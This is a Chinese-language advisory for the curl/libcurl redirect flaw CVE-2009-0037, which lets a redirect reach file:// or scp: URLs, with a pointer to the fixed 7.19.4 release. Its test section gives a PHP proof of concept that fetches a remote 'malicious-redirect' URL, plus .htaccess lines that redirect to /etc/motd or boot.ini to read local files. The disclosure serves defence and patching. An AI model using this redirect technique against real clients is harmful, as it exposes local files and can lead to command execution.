cURL/libcURL HTTP Location:重新定向绕过安全限制漏洞

发布日期:2009-03-03
更新日期:2009-03-04

受影响系统:

Daniel Stenberg curl 5.11 - 7.19.3

不受影响系统:

Daniel Stenberg curl 7.19.4

描述:


BUGTRAQID: 33962
CVE(CAN) ID: CVE-2009-0037

cURL是命令行传输文件工具,支持FTP、FTPS、HTTP、HTTPS、GOPHER、TELNET、DICT、FILE和LDAP。

跟随HTTP Location:的cURL会重新定向到scp:或file:// URL,因此如果用户点击了特制的重新定向URL的话(例如libcurl客户端读取RSS源),恶意的HTTP服务器就可以覆盖或泄露任意本地文件系统的内容,或执行任意命令。

<*来源:David Kierznowski

链接:http://secunia.com/advisories/34138/
http://marc.info/?l=full-disclosure&m=123608232412287&q=p5
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
// This is an example of a vulnerable peice of PHP code
// If libcurl uses CURLOPT_FOLLOWLOCATION it could lead
// to arbitrary file access.
// The malicious redirect on withdk.com looks like this
// in .htaccess:
// # for Linux
// redirect 302 /test file:///etc/motd
// # for Win32
// redirect 302 /test file:///c:/boot.ini
// print_r ( curl_version() );
$c = new cc;
$c->fetch('http://withdk.com/malicious-redirect');
class cc {
function fetch($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$result1 = curl_exec($ch);
echo $result1;
curl_close($ch);
}
}
?>

建议:


厂商补丁:

Daniel Stenberg
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://curl.haxx.se/download/curl-7.19.4.zip

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值